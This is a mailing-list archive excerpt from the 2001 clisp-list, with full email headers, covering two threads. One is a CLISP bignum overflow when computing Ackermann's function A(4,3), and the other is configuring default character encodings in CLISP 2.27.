>[<mailto:ben-lists@benpharr.com= >mailto:ben-lists@benpharr.com= ]
>Sent: Tuesday, October 09, 2001 3:03 PM
>To: clisp-list@lists.sourceforge.net
>Subject: [clisp-list] overflow during = multiplication of large numbers
>
>I have programmed a partially iterative function = to calculate Ackermann's
>function. The iterative part is for cases of = m=3D0 through m=3D3. Anything
>above that is done with recursion. I have = compiled the function. A(4, 2)
>can be calculated in a fraction of a second. The = result is a number with
>more than 19,000 digits. However, A(4, 3) gives = me an error. It says:
>
>*** - overflow during multiplication of large = numbers
>
>This occurs within a second of executing the = function. I am doing this on
>Debian Linux, so I thought maybe the ulimit was = getting in the way. ulimit
>is set to unlimited, and I have 320MBs of RAM. I = thought maybe unlimited
>wasn't really unlimited, so I set it to 300MB = and tried again with the same
>results.
>
>While it is possible A( 4, 3) would cause an = overflow, I don't think it's
>taking enough time to find out, given how = quickly A(4, 2) is computed. Can
>anyone give me some advice. Thanks!
>
>Ben Pharr
>
>_______________________________________________
>clisp-list mailing list
>clisp-list@lists.sourceforge.net
><https://lists.sourceforge.net/lists/listinfo/clisp-lis= t>https://lists.sourceforge.net/lists/listinfo/clisp-lis= t
>


_______________________________________________
clisp-list mailing list
clisp-list@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/clisp-lis= t

------_=_NextPart_001_01C15103.1C8BCBC0-- From ben-lists@benpharr.com Tue Oct 09 15:45:13 2001 Received: from walden.phpwebhosting.com ([64.65.61.214]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15r5ce-0000DV-00 for ; Tue, 09 Oct 2001 15:45:12 -0700 Received: (qmail 27637 invoked by uid 508); 9 Oct 2001 22:45:02 -0000 Received: from unknown (HELO benpharr.benpharr.com) (65.169.83.235) by walden.phpwebhosting.com with SMTP; 9 Oct 2001 22:45:02 -0000 Message-Id: <5.1.0.14.0.20011009173427.00a7c050@mail.benpharr.com> X-Sender: ben-lists%benpharr.com@mail.benpharr.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Ben Pharr - Lists Subject: RE: [clisp-list] overflow during multiplication of large numbers In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 15:46:10 2001 X-Original-Date: Tue, 09 Oct 2001 17:38:03 -0500 I've tried that and as best as I can tell lisp.run takes up 1.1% of my memory at it's maximum. I'm confused as to why it doesn't take longer (and more of my memory) to overflow. Ben Pharr At 03:43 PM 10/9/01 -0500, you wrote: >It might not be the best method, but use the "top" command and check the >memory usage. > >It should be available on your unix box.... From ben-lists@benpharr.com Tue Oct 09 15:45:13 2001 Received: from walden.phpwebhosting.com ([64.65.61.214]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15r5ce-0000Dc-00 for ; Tue, 09 Oct 2001 15:45:12 -0700 Received: (qmail 27639 invoked by uid 508); 9 Oct 2001 22:45:03 -0000 Received: from unknown (HELO benpharr.benpharr.com) (65.169.83.235) by walden.phpwebhosting.com with SMTP; 9 Oct 2001 22:45:03 -0000 Message-Id: <5.1.0.14.0.20011009173902.00a80760@mail.benpharr.com> X-Sender: ben-lists%benpharr.com@mail.benpharr.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Ben Pharr - Lists Subject: Re: [clisp-list] overflow during multiplication of large numbers In-Reply-To: References: <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 15:46:10 2001 X-Original-Date: Tue, 09 Oct 2001 17:44:41 -0500 At 04:35 PM 10/9/01 -0400, you wrote: >Ackermann's function grows fast. >No, not just fast, but _VERY FAST_. >A(4,1) = 2^16 - 3 >A(4,2) ~ 2^(A(4,1)) >A(4,3) ~ 2^(A(4,2)) > >if you to represent a number X with log X bits, then A(4,1) is a >16-bit (2 byte) number, while A(4,2) is an 8kB number. >now, A(4,3) is a 2^(2^16) - bit number. >there isn't a word for this monster. >there isn't enough matter in the observable universe to record it. >if google is 10^100 (~2^333), then A(4,3) is about google^197. >there are fewer than a google particles in the universe. > >I hope I am sufficiently clear. So what you're trying to say is that it's a big number? :-) Just kidding. I knew it was a large number, but I wasn't quite grasping HOW big. Thanks for explaining that to me. I'm still not sure why it overflows without eating up more than 1.1% of my memory. Can anyone explain that to me? I realize it doesn't matter in this particular situation, but it might in the future. Ben Pharr From froydnj@rose-hulman.edu Tue Oct 09 16:04:24 2001 Received: from envelope.rose-hulman.edu ([137.112.8.21]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 15r5uh-0002WO-00 for ; Tue, 09 Oct 2001 16:03:52 -0700 Received: from rose-hulman.edu ([137.112.138.240]) (authenticated (0 bits)) by envelope.rose-hulman.edu (8.11.6/8.11.6) with ESMTP id f99MsgN10225 (using TLSv1/SSLv3 with cipher RC4-MD5 (128 bits) verified NO); Tue, 9 Oct 2001 17:54:52 -0500 (EST) Message-ID: <3BC380BD.9070205@rose-hulman.edu> From: Nathan Froyd User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4+) Gecko/20011008 X-Accept-Language: en-us MIME-Version: 1.0 To: Ben Pharr - Lists CC: clisp-list@sourceforge.net Subject: Re: [clisp-list] overflow during multiplication of large numbers References: <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> <5.1.0.14.0.20011009173902.00a80760@mail.benpharr.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 16:05:06 2001 X-Original-Date: Tue, 09 Oct 2001 17:57:01 -0500 Ben Pharr - Lists wrote: > So what you're trying to say is that it's a big number? :-) Just > kidding. I knew it was a large number, but I wasn't quite grasping HOW > big. Thanks for explaining that to me. > > I'm still not sure why it overflows without eating up more than 1.1% of > my memory. Can anyone explain that to me? I realize it doesn't matter in > this particular situation, but it might in the future. It's possible (not being an expert on CLISP internals) that the bignum code inside of CLISP is smart enough to recognize when you give it operands that are far larger than it can ever hope to operate on. So A(4,2) calculates quickly, is really huge, and it overflows some internal limit. -Nathan From ben-lists@benpharr.com Tue Oct 09 16:13:23 2001 Received: from walden.phpwebhosting.com ([64.65.61.214]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15r63v-0003Yp-00 for ; Tue, 09 Oct 2001 16:13:23 -0700 Received: (qmail 28656 invoked by uid 508); 9 Oct 2001 23:13:13 -0000 Received: from unknown (HELO benpharr.benpharr.com) (65.169.83.235) by walden.phpwebhosting.com with SMTP; 9 Oct 2001 23:13:13 -0000 Message-Id: <5.1.0.14.0.20011009181250.00a8c710@mail.benpharr.com> X-Sender: ben-lists%benpharr.com@mail.benpharr.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Ben Pharr - Lists Subject: Re: [clisp-list] overflow during multiplication of large numbers In-Reply-To: <3BC380BD.9070205@rose-hulman.edu> References: <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> <5.1.0.14.0.20011009145402.00a6c410@sunset.olemiss.edu> <5.1.0.14.0.20011009173902.00a80760@mail.benpharr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 16:14:06 2001 X-Original-Date: Tue, 09 Oct 2001 18:13:21 -0500 At 05:57 PM 10/9/01 -0500, you wrote: >Ben Pharr - Lists wrote: > >>So what you're trying to say is that it's a big number? :-) Just >>kidding. I knew it was a large number, but I wasn't quite grasping HOW >>big. Thanks for explaining that to me. >>I'm still not sure why it overflows without eating up more than 1.1% of >>my memory. Can anyone explain that to me? I realize it doesn't matter in >>this particular situation, but it might in the future. > > >It's possible (not being an expert on CLISP internals) that the bignum >code inside of CLISP is smart enough to recognize when you give it >operands that are far larger than it can ever hope to operate on. So >A(4,2) calculates quickly, is really huge, and it overflows some internal >limit. > >-Nathan That was my guess too, but I was wondering if someone knew that was the case. Ben Pharr From davep@davep.org Tue Oct 09 23:41:02 2001 Received: from anchor-post-31.mail.demon.net ([194.217.242.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rD37-00065Y-00 for ; Tue, 09 Oct 2001 23:41:01 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-31.mail.demon.net with esmtp (Exim 2.12 #1) id 15rD2t-00048v-0V for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2001 07:40:48 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id HAA23759 for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2001 07:40:47 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 Message-ID: <20011010074047.G20855@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011002153226.A167@localhost.localdomain>; from peter.wood@worldonline.dk on Tue, Oct 02, 2001 at 03:32:26PM +0200 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 64 of the season of Bureaucracy, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 9 23:42:10 2001 X-Original-Date: Wed, 10 Oct 2001 07:40:47 +0100 [I might be slightly missing the point here so please excuse any incorrect terminology] On Tue, Oct 02, 2001 at 03:32:26PM +0200, Peter Wood wrote: > I don't think it is a bug, as Clisp has to choose *some* default, and > ascii is probably the best bet. Is there a reason why a default that allows characters 0-255 can't be used? I'm finding that with some code I'm not really that concerned with which charset I use, I simply want to be able to read some random source (a file perhaps) and have it work without throwing an error because of the content of that file. Currently I'm having to prefix all my programs with code like this: ,---- | (let ((encoding (make-encoding :charset charset:iso-8859-1))) | (setq *default-file-encoding* encoding | *terminal-encoding* encoding)) `---- I suppose, as you suggested, I should really dump an image with those values wired in, that'll save me having to prefix all my lisp-scripts. Given that, is it or might it be possible to specify a charset when building clisp? -- Dave Pearson http://www.davep.org/ From sds@gnu.org Wed Oct 10 06:24:09 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rJLE-0005YR-00 for ; Wed, 10 Oct 2001 06:24:08 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA23867; Wed, 10 Oct 2001 09:23:57 -0400 (EDT) X-Envelope-To: To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> <20011010074047.G20855@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011010074047.G20855@hagbard.davep.org> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 10 06:25:08 2001 X-Original-Date: 10 Oct 2001 09:22:54 -0400 > * In message <20011010074047.G20855@hagbard.davep.org> > * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27" > * Sent on Wed, 10 Oct 2001 07:40:47 +0100 > * Honorable Dave Pearson writes: > > Given that, is it or might it be possible to specify a charset when > building clisp? yes - just edit config.lisp. actually, there was a typo in init.lisp - a misspelling of *terminal-encoding*. if you fix it and rebuild, you would probably be fine. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Takeoffs are optional. Landings are mandatory. From davep@davep.org Wed Oct 10 08:03:05 2001 Received: from anchor-post-31.mail.demon.net ([194.217.242.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rKsy-00071t-00 for ; Wed, 10 Oct 2001 08:03:04 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-31.mail.demon.net with esmtp (Exim 2.12 #1) id 15rKsu-0005gD-0V for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2001 16:03:01 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id QAA03030 for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2001 16:02:47 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 Message-ID: <20011010160247.P20855@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> <20011010074047.G20855@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Oct 10, 2001 at 09:22:54AM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 64 of the season of Bureaucracy, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 10 08:04:11 2001 X-Original-Date: Wed, 10 Oct 2001 16:02:47 +0100 On Wed, Oct 10, 2001 at 09:22:54AM -0400, Sam Steingold wrote: > > Given that, is it or might it be possible to specify a charset when > > building clisp? > > yes - just edit config.lisp. I tried that by adding: ,---- | ;; I live in England. | (let ((encoding (make-encoding :charset charset:iso-8859-1))) | (setq *default-file-encoding* encoding | *pathname-encoding* encoding | *misc-encoding* encoding | *terminal-encoding* encoding)) `---- and then doing a rebuild (this was after doing a "make clean" and so on) but it doesn't seem to have made any difference: ,---- | davep@hagbard:~$ clisp -K full -norc -q | | [1]> *misc-encoding* | # | [2]> `---- Is this what you were suggesting or did you mean something else? > actually, there was a typo in init.lisp - a misspelling of > *terminal-encoding*. > if you fix it and rebuild, you would probably be fine. Would that be "*T*GERMINAL-ENCODING*"? I fixed that as part of the above rebuild but: ,---- | davep@hagbard:~$ clisp -K full -norc -q | | [1]> (apropos "erminal-encoding") | *T*GERMINAL-ENCODING* | SYSTEM::*TERMINAL-ENCODING* symbol-macro | SYSTEM::SET-TERMINAL-ENCODING function | SYSTEM::TERMINAL-ENCODING function | | [2]> `---- Would a "make clean" not have been enough? I fear that I'm missing something obvious and vital regarding this encoding business. I've read the section in the impnotes but I have to admit that I'm none the wiser about what's going on here. What confuses me in all of this is what this encoding business aims to provide. Is there something within the clisp documentation that outlines this? All I do know is that there was a time in the past when clisp didn't have a problem reading "8bit" data "out of the box" and that, these days, it appears to have "problems" that require some fiddling before my code works. I'm more than happy to accept that it's my lack of understanding but I'm failing to find anything in the documentation that says why the default would be to fail and throw an error. Any explanations would be greatly appreciated. All of the above tests were conducted with clisp 2.27. ,---- | davep@hagbard:~$ clisp --version | GNU CLISP 2.27 (released 2001-07-17) (built 3211713097) (memory 3211713868) `---- -- Dave Pearson http://www.davep.org/ From sds@gnu.org Wed Oct 10 08:25:20 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rLEW-00027k-00 for ; Wed, 10 Oct 2001 08:25:20 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA26605; Wed, 10 Oct 2001 11:25:16 -0400 (EDT) X-Envelope-To: To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> <20011010074047.G20855@hagbard.davep.org> <20011010160247.P20855@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011010160247.P20855@hagbard.davep.org> Message-ID: Lines: 70 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 10 08:26:10 2001 X-Original-Date: 10 Oct 2001 11:24:11 -0400 > * In message <20011010160247.P20855@hagbard.davep.org> > * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27" > * Sent on Wed, 10 Oct 2001 16:02:47 +0100 > * Honorable Dave Pearson writes: > > ,---- > | ;; I live in England. > | (let ((encoding (make-encoding :charset charset:iso-8859-1))) > | (setq *default-file-encoding* encoding > | *pathname-encoding* encoding > | *misc-encoding* encoding > | *terminal-encoding* encoding)) > `---- > > and then doing a rebuild (this was after doing a "make clean" and so on) but > it doesn't seem to have made any difference: > > ,---- > | davep@hagbard:~$ clisp -K full -norc -q > | > | [1]> *misc-encoding* > | # > | [2]> > `---- I assume that you did "make install" too: the above command will invoke the installed version, not the development version. > Is this what you were suggesting or did you mean something else? yes, this is what I meant. > > actually, there was a typo in init.lisp - a misspelling of > > *terminal-encoding*. > > if you fix it and rebuild, you would probably be fine. > > Would that be "*T*GERMINAL-ENCODING*"? I fixed that as part of the > above rebuild but: > > ,---- > | davep@hagbard:~$ clisp -K full -norc -q > | > | [1]> (apropos "erminal-encoding") > | *T*GERMINAL-ENCODING* okay, this is bad. as long as you see this, you have not fixed the problem. > | SYSTEM::*TERMINAL-ENCODING* symbol-macro > | SYSTEM::SET-TERMINAL-ENCODING function > | SYSTEM::TERMINAL-ENCODING function > | > | [2]> > `---- > > Would a "make clean" not have been enough? it should have been. you need to install though. I always use a separate build directory and the build/.clisp script there. > All of the above tests were conducted with clisp 2.27. Could you please try the current pre-test (cvs up)? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on If Perl is the solution, you're solving the wrong problem. - Erik Naggum From davep@davep.org Wed Oct 10 09:19:04 2001 Received: from anchor-post-32.mail.demon.net ([194.217.242.90]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rM4W-0008TR-00 for ; Wed, 10 Oct 2001 09:19:04 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1) id 15rM4T-000Crw-0W for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2001 17:19:01 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id RAA07079 for clisp-list@lists.sourceforge.net; Wed, 10 Oct 2001 17:18:07 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 Message-ID: <20011010171807.Q20855@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> <20011010074047.G20855@hagbard.davep.org> <20011010160247.P20855@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Oct 10, 2001 at 11:24:11AM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 64 of the season of Bureaucracy, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 10 09:20:12 2001 X-Original-Date: Wed, 10 Oct 2001 17:18:07 +0100 On Wed, Oct 10, 2001 at 11:24:11AM -0400, Sam Steingold wrote: > > ,---- > > | davep@hagbard:~$ clisp -K full -norc -q > > | > > | [1]> *misc-encoding* > > | # > > | [2]> > > `---- > > I assume that you did "make install" too: the above command will invoke > the installed version, not the development version. Yes, I did do a "make install". > > ,---- > > | davep@hagbard:~$ clisp -K full -norc -q > > | > > | [1]> (apropos "erminal-encoding") > > | *T*GERMINAL-ENCODING* > > okay, this is bad. as long as you see this, you have not fixed the > problem. It seems that a "make clean" wasn't enough for this. A "rm -r full" from the build directory followed by a make seemed to solve this. ,---- | davep@hagbard:~$ clisp -K full -norc -q | | [1]> (apropos "erminal-encoding") | *TERMINAL-ENCODING* symbol-macro | SYSTEM::SET-TERMINAL-ENCODING function | SYSTEM::TERMINAL-ENCODING function `---- Note that this rebuild (after the "rm -r full") made no difference to the problem of the encoding settings in config.lisp failing to come thru in the final image. Note, also, that other settings from config.lisp (loads paths, site names, etc...) do come thru so config.lisp would appear to be read and used. > > All of the above tests were conducted with clisp 2.27. > > Could you please try the current pre-test (cvs up)? Unfortunately I'm on the end of a dial-up connection so that makes for a prohibitively large download because SF's CVS server appears to be appallingly slow to speak to at the moment. IOW, no, not any time soon (unless there's a source tarball available from a good download site?). -- Dave Pearson http://www.davep.org/ From sds@gnu.org Wed Oct 10 10:43:30 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rNOE-0001r6-00 for ; Wed, 10 Oct 2001 10:43:30 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA28271; Wed, 10 Oct 2001 13:43:26 -0400 (EDT) X-Envelope-To: To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> <20011010074047.G20855@hagbard.davep.org> <20011010160247.P20855@hagbard.davep.org> <20011010171807.Q20855@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20011010171807.Q20855@hagbard.davep.org> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.107 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 10 10:44:10 2001 X-Original-Date: 10 Oct 2001 13:42:18 -0400 > * In message <20011010171807.Q20855@hagbard.davep.org> > * On the subject of "Re: [clisp-list] internationalization problem on clisp-2.27" > * Sent on Wed, 10 Oct 2001 17:18:07 +0100 > * Honorable Dave Pearson writes: > > Note that this rebuild (after the "rm -r full") made no difference to > the problem of the encoding settings in config.lisp failing to come > thru in the final image. Note, also, that other settings from > config.lisp (loads paths, site names, etc...) do come thru so > config.lisp would appear to be read and used. I was wrong - the encoding variables (actually, symbol-macro places) are _not_ saved into the memory images. This is a feature, not a bug: since they are initialized from the environment (see ), they should not be "set in stone" (if I am wrong again, and this _is_ a bug, Bruno will correct me :-). please investigate the values if the environment variables LC_ALL, LC_CTYPE, LANG. I do not set them and I have $ clisp -q -norc -x '*misc-encoding*' # $ -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) From davep@davep.org Wed Oct 10 23:41:12 2001 Received: from tele-post-20.mail.demon.net ([194.217.242.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rZWq-0001fg-00 for ; Wed, 10 Oct 2001 23:41:12 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by tele-post-20.mail.demon.net with esmtp (Exim 2.12 #2) id 15rZWc-000JT8-0K for clisp-list@lists.sourceforge.net; Thu, 11 Oct 2001 06:40:59 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id HAA09647 for clisp-list@lists.sourceforge.net; Thu, 11 Oct 2001 07:39:35 +0100 From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 Message-ID: <20011011073935.T20855@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> <20011010074047.G20855@hagbard.davep.org> <20011010160247.P20855@hagbard.davep.org> <20011010171807.Q20855@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Wed, Oct 10, 2001 at 01:42:18PM -0400 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Prickle-Prickle, Day 65 of the season of Bureaucracy, Anno Mung 3167 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 10 23:42:06 2001 X-Original-Date: Thu, 11 Oct 2001 07:39:35 +0100 On Wed, Oct 10, 2001 at 01:42:18PM -0400, Sam Steingold wrote: > This is a feature, not a bug: since they are initialized from the > environment (see ), they should > not be "set in stone" (if I am wrong again, and this _is_ a bug, Bruno > will correct me :-). Ok, that sort of makes sense. Given this, what's the right thing to do if I want to write some code that reads a random file that might contain data outside of the range considered to be ASCII and I want it to run in a random environment? How can I write such code so that it doesn't blow up if accented characters (for example) appear in a file it reads? Am I doing the right thing now by setting the encoding to a random 8bit encoding (I say random because, although ISO-8859-1 makes sense for me, it might not make sense for someone else). Is there a plain "8bit" encoding? Does that question make sense? Should/could the default encodings be something that can handle 8bit? If not, why not? > please investigate the values if the environment variables > LC_ALL, LC_CTYPE, LANG. > > I do not set them and I have > $ clisp -q -norc -x '*misc-encoding*' > # It's not clear what you mean when you say "them" here. Are you talking about the environment variables or are you talking about the encoding variables within clisp itself? -- Dave Pearson http://www.davep.org/ From sds@gnu.org Thu Oct 11 06:39:57 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15rg45-0006un-00 for ; Thu, 11 Oct 2001 06:39:57 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA18113; Thu, 11 Oct 2001 09:39:50 -0400 (EDT) X-Envelope-To: To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87wv2eo024.fsf@merceron.meteo.fr> <20011002153226.A167@localhost.localdomain> 